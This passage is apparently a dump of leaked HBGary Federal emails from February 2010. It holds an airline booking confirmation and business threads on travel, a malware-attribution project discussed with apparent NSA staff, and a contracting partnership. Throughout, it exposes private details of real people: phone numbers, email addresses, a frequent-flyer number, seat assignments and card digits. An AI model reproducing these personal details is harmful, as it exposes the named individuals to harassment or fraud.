\r\n		\r\n		\r\n		\r\n			\r\n				\r\n						\r\n						\r\n							Name\r\n							TED H MR VERA			\r\n									\r\n						\r\n							Type\r\n							Adult\r\n						\r\n						\r\n						  \r\n						  	\r\n							\r\n							\r\n							  \r\n							  	\r\n							  	Secure Flight data complete\r\n							  	\r\n							  	\r\n							  		Review	\r\n							  	\r\n							  	\r\n							  	\r\n							  	\r\n							  \r\n							  \r\n							  \r\n							\r\n						\r\n						\r\n					\r\n						\r\n							Mileage Plus number\r\n							03116129450\r\n						\r\n					\r\n						\r\n					\r\n					\r\n					\r\n					\r\n					\r\n						\r\n							Email\r\n							\r\n								TED@HBGARY.COM\r\n								\r\n							\r\n						\r\n						\r\n							Phone\r\n							7193827773\r\n						\r\n					\r\n					\r\n					\r\n					\r\n						\r\n				\r\n				\r\n				\r\n					\r\n						\r\n							Flight\r\n							Seat\r\n						\r\n								\r\n						 \r\n							0103	\r\n							14D\r\n						\r\n					\r\n			\r\n						 \r\n							0020	\r\n							33C\r\n						\r\n					\r\n					\r\n						\r\n							\r\n						\r\n						\r\n						\r\n		 		 	\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n								\r\n					\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n    		    	    \r\n    	\r\n\r\n\r\n	\r\n	\r\n	    \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n	function getMyEReceipt(bookingRefId,PNRIndex)\r\n	 {    	\r\n	 	var url = \"https://\" + \"travel.united.com\" + \"/ube/myEreceipt.do?bookingRefId=\"+bookingRefId;\r\n		dialogWindow = window.open( url);                \r\n	 }\r\n	var vs_R40_Product_Price_Array = new Array();\r\n	var vs_R40_Booking_Conf_Currency;\r\n	var s40_vs_fix_switch = \"Confirmation\";\r\n	var productPriceIndex = 0;\r\n	document.write(\'\');\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n	\r\n	\r\n			\r\n					\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\nPurchase summary\r\n\r\n\r\n	\r\n	\r\n				\r\n	\r\n	\r\n \r\n	 \r\n		\r\n			\r\n			\r\n         	  \r\n	         	  	\r\n	         	  	Ticket price\r\n	         	  	\r\n         	  \r\n         	 \r\n         	 \r\n			\r\n			\r\n              \r\n	                \r\n	         		 \r\n		         		 		\r\n		                             \r\n	                             Credit card: Mastercard xxxxxxxxxxx9904\r\n                            	 Receipt number MRSZRD\r\n	                            	 \r\n	                            	 \r\n	                           	 \r\n	                            &nbsp;\r\n	                        \r\n	                \r\n                	\r\n                        		\r\n                            \r\n								\r\n									\r\n									\r\n                            			348.40&nbsp;\r\n									 \r\n								\r\n                            	USD\r\n                            \r\n                            &nbsp;\r\n                        \r\n                    \r\n              \r\n          	  	\r\n    				\r\n						\r\n			\r\n				\r\n			\r\n				\r\n		\r\n\r\n\r\n	vs_R40_Booking_Conf_Currency = \'USD\';\r\n\r\n\r\n	 \r\n	     		\r\n	     		\r\n	     			\r\n	     			\r\n	     				\r\n	     					Itinerary total:&nbsp;348.40&nbsp;USD\r\n	     				\r\n	     			\r\n	     		\r\n	 			\r\n	 \r\n	 &nbsp;\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n	\r\n    \r\n    \r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n			.cpAdTitle { margin:0; padding:0; color:#000066; font:16px Arial, sans-serif; font-weight:bold; text-decoration:none; text-indent:10px; }\r\n			.cpAdHrTd  { padding:0 10px 0 10px; background-image:url(/ube/images/bkgd/); background-repeat:repeat; border:none; color:#000066; font-weight:bold; line-height:13px; }\r\n		\r\n		\r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n					\r\n					\r\n						Book your hotel\r\n					\r\n				\r\n			\r\n			\r\n				\r\n			\r\n				\r\n					\r\n					\r\n						\r\n						Location\r\n						Dates of stay\r\n						Hotel\r\n						Rating\r\n						Price\r\n					\r\n					\r\n					\r\n						\r\n							\r\n								\r\n							\r\n							\r\n						\r\n						\r\n						 \r\n							Sacramento\r\n							02/23-02/26\r\n							Ramada Inn &amp; Plaza Harbor Conference Center\r\n							\r\n								\r\n									\r\n										\r\n									\r\n									\r\n								\r\n							\r\n							\r\n								\r\n									As low as USD61.51 per night\r\n								\r\n								Book now	\r\n							\r\n						\r\n					\r\n						\r\n							\r\n							\r\n								\r\n							\r\n						\r\n						\r\n						 \r\n							Sacramento\r\n							02/23-02/26\r\n							Hawthorn Suites by Wyndham Rancho Cordova\r\n							\r\n								\r\n									\r\n										\r\n									\r\n									\r\n								\r\n							\r\n							\r\n								\r\n									As low as USD62.10 per night\r\n								\r\n								Book now	\r\n							\r\n						\r\n					\r\n						\r\n							\r\n								\r\n							\r\n							\r\n						\r\n						\r\n						 \r\n							Sacramento\r\n							02/23-02/26\r\n							Best Western Expo Inn\r\n							\r\n								\r\n									\r\n										\r\n									\r\n									\r\n								\r\n							\r\n							\r\n								\r\n									As low as USD67.99 per night\r\n								\r\n								Book now	\r\n							\r\n						\r\n					\r\n					\r\n						\r\n							More hotels\r\n						\r\n					\r\n				\r\n			\r\n			\r\n			\r\n			\r\n			\r\n				\r\n					\r\n	\r\n		\r\n			\r\n				\r\n					\r\n						\r\n							\r\n								Reserve your hotel with the United discount\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					\r\n						\r\n					\r\n					\r\n						\r\n					\r\n					\r\n						\r\n							\r\n								\r\n									\r\n										\r\n											\r\n												\r\n													\r\n														\r\n															\r\n																\r\n															\r\n															\r\n																\r\n																	\r\n																		\r\n																			Save up to 30% at Oahu\'s Hilton Hawaiian Village Beach Resort & Spa, Hilton Waikiki Prince Kuhio, or Hilton Waikoloa Village on Hawaii\'s Big Island. Reservations must be made by Wednesday, March 3, 2010.\r\n																			Reserve now\r\n																		\r\n																	\r\n																\r\n															\r\n														\r\n													\r\n												\r\n											\r\n										\r\n									\r\n								\r\n							\r\n						\r\n					\r\n				\r\n				\r\n			\r\n		\r\n	\r\n\r\n\r\n				\r\n				\r\n			\r\n			\r\n			\r\n				\r\n				\r\n				\r\n					\r\n						\r\n							\r\n\r\n\r\n\r\n\r\nReserve your car with the United discount \r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n	\r\n	\r\n	\r\n	\r\n	\r\n		\r\n			\r\n				\r\n					\r\n						\r\n							\r\n								\r\n									\r\n										\r\n											\r\n											\r\n  											\r\n  											  &#8226; Save up to 20% with the United discount & earn triple miles\r\n								  &#8226; Additional savings on the weekend and rentals of 5 or more days							  &#8226; Plus, earn a 1,000-mile online booking bonus Reserve now\r\n  											  \r\n								\r\n\r\n\r\nEnhance your travel experience\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnited Mileage Plus&#174; Visa \r\n Earn 30,000 miles, and 1 mile per eligible $1. Redeem with no blackouts. Apply now.\r\n\r\n\r\n\r\n\r\nProtect your travel plans with Travel Insurance offered by United with Access America. Learn more.\r\n\r\n\r\n\r\nSave time with EasyCheck-in Online. Find out more.\r\n\r\n\r\n\r\n1 meal = 1,000 miles. It\'s that easy! Join today.\r\n\r\n\r\n\r\n\r\n\r\n						\r\n						\r\n					\r\n				\r\n					\r\n		\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n \r\n\r\nThank you for booking at united.com where you\'ll always enjoy:\r\n\r\n\r\nUnited\'s guaranteed lowest fares Learn more\r\n\r\nNo booking fees\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n	\r\n					\r\n					\r\n					\r\n					\r\n					\r\n					\r\n					\r\n\r\n	   \r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n	Airline tickets are nontransferable.\r\n	The name on your ticket must match the name on your government-issued photo ID presented at time of check-in.\r\n	You may also be asked during check-in to present the credit card used for purchase.\r\n	\r\n	Passengers traveling on United Airlines (UA) carriers are subject to United\'s \r\n	contract of carriage,\r\n	which is available for download at united.com.\r\n	The contract of carriage governs matters such as:\r\n	\r\n		\r\n			Check-in requirements for domestic and international travel,\r\n			including information about when service may be refused;\r\n		\r\n		\r\n			Limits on liability for delay, damage or loss of baggage,\r\n			including fragile or perishable goods;\r\n		\r\n		\r\n			Claims restrictions, including time periods within which\r\n			a passenger must file a claim or bring an action against the UA Carrier;\r\n		\r\n		\r\n			The UA Carriers\' rights and limits on liability for delay or failure to perform service,\r\n			including schedule changes, rerouting and substitution of alternate air carrer, aircraft or mode of travel;\r\n		\r\n		\r\n			Rules on overbooking and reconfirmation of reservations; and\r\n		\r\n		\r\n			Baggage policies, including carry-on allowances and size and weight restrictions for checked bags.\r\n		\r\n	\r\n	\r\n		Ticket rules:\r\n			Ticket validity is based on fare and point of origin. Refundable tickets are valid for one year from date of issue. Nonrefundable tickets are valid as issued and, for travel originating in the U.S., will lose remaining value if changes are not made prior to your originally scheduled departure time on your current ticketed travel dates. Certain fees/charges may also apply. \r\n		\r\n		\r\n		International travel:\r\n			Be sure to bring a copy of your E-Ticket receipt to the airport, along with your passport and any other required travel documents. International travel information such as State Department advisories and visa information can be found through the united.com Travel Requirements page.\r\n		\r\n		\r\n		Important travel tips:\r\n			Please visit the Traveler Guide page at united.com for updated baggage policies, information about online and airport check-in, security screening procedures, flight status, airport maps, information for customers with special needs, in-flight movie schedules and more. \r\n		\r\n	\r\n	\r\n	If you would like to view or modify your itinerary, please visit\r\n	united.com, where you can also:\r\n	\r\n		access your Mileage Plus&reg; account\r\n		check flight status\r\n		\r\n			check in for your flight\r\n			(within 24 hours of departure)\r\n		\r\n		\r\n			view travel guidelines\r\n		\r\n		and more\r\n	\r\n\r\n\r\n\r\n								\r\n					\r\n					\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		',4645,'aaron_hbgary_com/4645.html'),(2831,'2010-02-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001295.M768619P3547Q2831.eml','\"Barr Aaron\" <aaron@hbgary.com>','Booked trip','I\'m staying at the same Courtyard as last time (see attached).  I\r\nbooked a two queen room, and got a car from budget (avis was sold\r\nout).\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14317,'aaron_hbgary_com/14317.html'),(2832,'2010-02-18','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001295.M988440P3547Q2832.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Presentation in April','Aaron what do you think?  That&#39;s sort of your group of people.On Thu, Feb 18, 2010 at 4:27 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Phil,\r\n\r\n \r\n\r\nSince HBGary could not participate in their Feb Tech Tuesday\r\nmeeting, SAIC has requested that we give a presentation on April 13th or\r\n20th.  They also have John\r\nFarrell at EndGame lined up to discuss his analysis of Aurora.  So, Tim Estell\r\nof SAIC was thinking that EndGame and HBGary could give back-to-back\r\npresentations or we could work with EndGame to give a joint presentation.  The\r\npresentation would be in Columbia, MD and will be attended by 20-30 SAIC\r\nsubcontractors with interest in malware and cyber security.\r\n\r\n \r\n\r\nBoth\r\nof you could attend, just one of you, or maybe you will decline the offer. \r\nPlease let me know how you would like to proceed.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11931,'aaron_hbgary_com/11931.html'),(2833,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001296.M324861P3547Q2833.eml','\"John Farrell\" <john@endgames.us>','Re: Did u want to catch up here or there?','Sorry John. Just got\r\nTo Checking email.  A few NG Folks and me went to dinner.  Would have\r\nbeen good to have u.  See u in the morning.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 18, 2010, at 1:41 PM, John Farrell  wrote:\r\n\r\n> I am enroute to Cincinnati now. Do you have plans for dinner\r\n> tonight? I am staying near the airport, but have a car. I land at\r\n> 4pm today. Talk with you soon.\r\n> John\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: John Farrell\r\n> Sent: Tue Feb 16 13:47:27 2010\r\n> Subject: Re: Did u want to catch up here or there?\r\n>\r\n> Tomorrow 2pm.  I have thursday meetings with various parts of the\r\n> Xetron team related to the IRAD and some other pursuits like the\r\n> Darpa BAA, ONR, etc.  I spoke to NG seniors on Friday to make sure\r\n> we were going to get the necessary support for the effort and\r\n> internal bickering wasn\'t going to cause us issues.  Everyone seems\r\n> supportive.\r\n>\r\n> Aaron\r\n>\r\n> On Feb 16, 2010, at 2:44 PM, John Farrell wrote:\r\n>\r\n>> If you are going to Cinci on Thurs, we could meet out there? When\r\n>> do you fly out?\r\n>> John M Farrell\r\n>> VP Federal, Endgame Systems\r\n>> 703.622.9025 M\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: John Farrell\r\n>> Sent: Tue Feb 16 11:40:01 2010\r\n>> Subject: Did u want to catch up here or there?\r\n>>\r\n>> I have a pretty open afternoon, 4pm meeting.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',6926,'aaron_hbgary_com/6926.html'),(2834,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001296.M610761P3547Q2834.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','How about next Thursday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> What dates/times are good for you?\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, February 17, 2010 4:12 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> Yes we can come up.  When are some good dates?\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n> wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> I am interested.\r\n>>\r\n>> What is the best way to meet?\r\n>>\r\n>> Can you come here?\r\n>>\r\n>> Is this related to Responder Pro?\r\n>>\r\n>> Matt\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Dave/Barry/Matt,\r\n>>\r\n>> I am very interested to discuss our different efforts/capabilities\r\n>> related to malware genomes/catalogs.  Please let me know when\r\n>> convenient to get together.\r\n>>\r\n>> Thank you,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>\r\n>>> Ralph,\r\n>>>\r\n>>>   Thanks for reminding me about this one.\r\n>>>\r\n>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>\r\n>>> Vergle\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley\r\n>>> Parkes;\r\n>>\r\n>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>> Subject: RE: Malware Genome and Attribution\r\n>>>\r\n>>> Vergle,\r\n>>> Reminder of the thread below, and your awareness of the efforts of\r\n>> Aaron\r\n>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>> Have\r\n>>> not seen any response since this was raised in early December.\r\n>>>\r\n>>> Also, pls see recent news article below:\r\n>>>\r\n>>> \'Cyber Genome Project\': The military scientists want to establish a\r\n>>> \"Cyber Genome\" project which will allow any digital artifact - a\r\n>>> document, apiece of malware - to be probed to its very origins.\r\n>>> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n>>> Genome Program\" will \"produce revolutionary cyber defense and\r\n>>> investigatory technologies\".\r\n>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>> cyber_genome_project/\r\n>>>\r\n>>> VR,\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>> To: Gipson, Vergle\r\n>>> Subject: FW: Malware Genome and Attribution\r\n>>>\r\n>>> Vergle:\r\n>>> I mentioned this fellow to you awhile back and emailed you all in V2\r\n>>> as to possible interest in engaging him to learn of his efforts\r\n>>> (which\r\n>>\r\n>>> seem to me to be very closely aligned to the Carnegie-Mellon\r\n>>> Malicious\r\n>>\r\n>>> Code Catalog efforts).\r\n>>>\r\n>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he\r\n>>> was\r\n>\r\n>>> holding back on responding til he saw your comments/guidance.\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>> To: Ghent, Ralph\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>>\r\n>>> Hi Ralph,\r\n>>>\r\n>>> Happy New Year.\r\n>>>\r\n>>> I am still very interested to talk to folks there about the\r\n>>> Malicious\r\n>\r\n>>> Code Catalog and our Malware Genome and Digital DNA if there is\r\n>>> interest on that side.  As I mentioned we have recently partnered\r\n>>> with\r\n>>\r\n>>> Palantir and are working on a partnership with Netwitness and\r\n>>> maybe 1\r\n>\r\n>>> or 2 other small vendors with complimentary technology.  I think\r\n>>> something really substantial can be put together.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>> Did anyone from the NTOC contact you yet?\r\n>>>> Respectfully,\r\n>>>>\r\n>>>>\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>> To: \'Aaron Barr\'\r\n>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>\r\n>>>> Aaron,\r\n>>>> Many thanks for the additional info and the opportunity to chat\r\n>>>> briefly at Leesburg.\r\n>>>>\r\n>>>> I have pushed your info to those within my Agency who are working\r\n>>>> with\r\n>>>\r\n>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time\r\n>>>> next\r\n>>\r\n>>>> week, no one has reached-out to you, pls email me again and I will\r\n>>>> follow up with them.\r\n>>>>\r\n>>>> Sincerely,\r\n>>>>\r\n>>>>\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>> To: Ghent, Ralph\r\n>>>> Subject: Malware Genome and Attribution\r\n>>>>\r\n>>>> Ralph,\r\n>>>>\r\n>>>> Thank you for stepping in and asking about my discussion about\r\n>>>> Malware\r\n>>>\r\n>>>> detection, genomes, and attribution.  I am very new to my current\r\n>>>> position as CEO of HBGary Federal, prior to this I was the\r\n>>>> Technical\r\n>\r\n>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the\r\n>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks\r\n>>>> ago\r\n>\r\n>>>> if we can make headway against attribution I would have said no,\r\n>>>> not\r\n>\r\n>>>> until we have better situational awareness, network\r\n>>>> characterization,\r\n>>\r\n>>>> CND/CNE integration, etc.\r\n>>>>\r\n>>>> Then I started to learn about HBGarys Malware Genome database,\r\n>>>> where\r\n>\r\n>>>> they have characterized 3500 traits of malware to date, and are\r\n>>>> starting to make associations of authorship across malware.  I\r\n>>>> immediately thought of Palantirs capability to link analysis and\r\n>>>> had\r\n>>> an aha moment.\r\n>>>> But I knew that other capabilities needed to be added if we were\r\n>>>> seriously going to take a crack at attribution.\r\n>>>>\r\n>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I\r\n>>>> would love to talk with them and combine efforts if appropriate to\r\n>>>> develop the capability that is needed to help with this challenge.\r\n>>>>\r\n>>>> Thank You,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> 301.652.8885 x117\r\n>>>> 719.510.8478\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n',16566,'aaron_hbgary_com/16566.html'),(2835,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001296.M808715P3547Q2835.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: How did it go with GD call yesterday?','Blah.  They bring nothing.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 18, 2010, at 1:22 PM, \"Bob Slapnik\"  wrote:\r\n\r\n>\r\n>\r\n>\r\n>\r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n>\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n>\r\n> www.hbgary.com  |  bob@hbgary.com\r\n>\r\n>\r\n',9581,'aaron_hbgary_com/9581.html'),(2836,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001297.M242407P3547Q2837.eml','\"Bailey, Don\" <dbailey@blackbirdtech.com>,\"Bailey, Don\" <dbailey@blackbirdtech.com>','Re: UNO Partnership?','Hey Don,Haven&#39;t seen the ego.  Still haven&#39;t nailed down our tickets yet, I am meeting with Jim racz next week to move that forward.\r\nI&#39;ll give you a call.AaronFrom my iPhoneOn Feb 19, 2010, at 7:45 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\nGood morning guys – have you looked at the UNO Crystal Castles RFP?  Because of the snow situation and holidays, we’re just now getting around to getting our\r\n eyes on this one.  It seems well suited to our respective strong suits.  I’ve started to take a look at the object of the study and it seems pretty straightforward.  I’m starting a draft proposal.  If you have any questions or just want to chat, call me on\r\n 703-582-1277.\r\n \r\nHope all is going well with you guys!\r\n \r\nDon\r\n\r\n \r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n \r\n\r\n\r\n\r\n\r\n',98,'aaron_hbgary_com/98.html'),(2837,'2010-02-19','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297001297.M29736P3547Q2836.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"ted@hbgary.com\" <ted@hbgary.com>','UNO Partnership?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood morning guys &#8211; have you looked at the UNO Crystal Castles RFP? &nbsp;Because of the snow situation and holidays, we&#8217;re just now getting around to getting our\r\n eyes on this one. &nbsp;It seems well suited to our respective strong suits.&nbsp; I&#8217;ve started to take a look at the object of the study and it seems pretty straightforward.&nbsp; I&#8217;m starting a draft proposal.&nbsp; If you have any questions or just want to chat, call me on\r\n 703-582-1277.\r\n&nbsp;\r\nHope all is going well with you guys!\r\n&nbsp;\r\nDon\r\n\r\n&nbsp;\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n&nbsp;\r\n\r\n\r\n\r\n',12491,'aaron_hbgary_com/12491.html'),(2838,'2010-02-19','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297001297.M465980P3547Q2838.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>','RE: UNO Partnership?','\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nIf you can stop by sometime today I can go over it with you in more detail (I&#8217;m going to be in VA Beach all next week working with the\r\n Navy Seals on something, so if you can swing by or if we can meet somewhere in between I can fill you in). &nbsp;This would be the perfect vehicle to sponsor your tickets if we can get this one.\r\n&nbsp;\r\nDon\r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, February 19, 2010 8:01 AM\r\nTo: Bailey, Don\r\nCc: ted@hbgary.com\r\nSubject: Re: UNO Partnership?\r\n\r\n&nbsp;\r\n\r\nHey Don,\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nHaven\'t seen the ego. &nbsp;Still haven\'t nailed down our tickets yet, I am meeting with Jim racz next week to move that forward.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nI\'ll give you a call.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 7:45 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGood morning guys &#8211; have you looked at the UNO Crystal Castles RFP? &nbsp;Because of the snow situation and\r\n holidays, we&#8217;re just now getting around to getting our eyes on this one. &nbsp;It seems well suited to our respective strong suits.&nbsp; I&#8217;ve started to take a look at the object of the study and it seems pretty straightforward.&nbsp; I&#8217;m starting a draft proposal.&nbsp; If\r\n you have any questions or just want to chat, call me on 703-582-1277.\r\n&nbsp;\r\nHope all is going well with you guys!\r\n&nbsp;\r\nDon\r\n\r\n&nbsp;\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12270,'aaron_hbgary_com/12270.html'),(2839,'2010-02-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001297.M693120P3547Q2839.eml','\"Bailey, Don\" <dbailey@blackbirdtech.com>','Re: UNO Partnership?','Ok.  I am flying back today.  I think I get back around 4 or 5pm.AaronFrom my iPhoneOn Feb 19, 2010, at 8:13 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\nIf you can stop by sometime today I can go over it with you in more detail (I’m going to be in VA Beach all next week working with the\r\n Navy Seals on something, so if you can swing by or if we can meet somewhere in between I can fill you in).  This would be the perfect vehicle to sponsor your tickets if we can get this one.\r\n \r\nDon\r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, February 19, 2010 8:01 AM\r\nTo: Bailey, Don\r\nCc: ted@hbgary.com\r\nSubject: Re: UNO Partnership?\r\n\r\n \r\n\r\nHey Don,\r\n\r\n\r\n \r\n\r\n\r\nHaven&#39;t seen the ego.  Still haven&#39;t nailed down our tickets yet, I am meeting with Jim racz next week to move that forward.\r\n\r\n\r\n \r\n\r\n\r\nI&#39;ll give you a call.\r\n\r\n\r\n \r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 7:45 AM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGood morning guys – have you looked at the UNO Crystal Castles RFP?  Because of the snow situation and\r\n holidays, we’re just now getting around to getting our eyes on this one.  It seems well suited to our respective strong suits.  I’ve started to take a look at the object of the study and it seems pretty straightforward.  I’m starting a draft proposal.  If\r\n you have any questions or just want to chat, call me on 703-582-1277.\r\n \r\nHope all is going well with you guys!\r\n \r\nDon\r\n\r\n \r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n 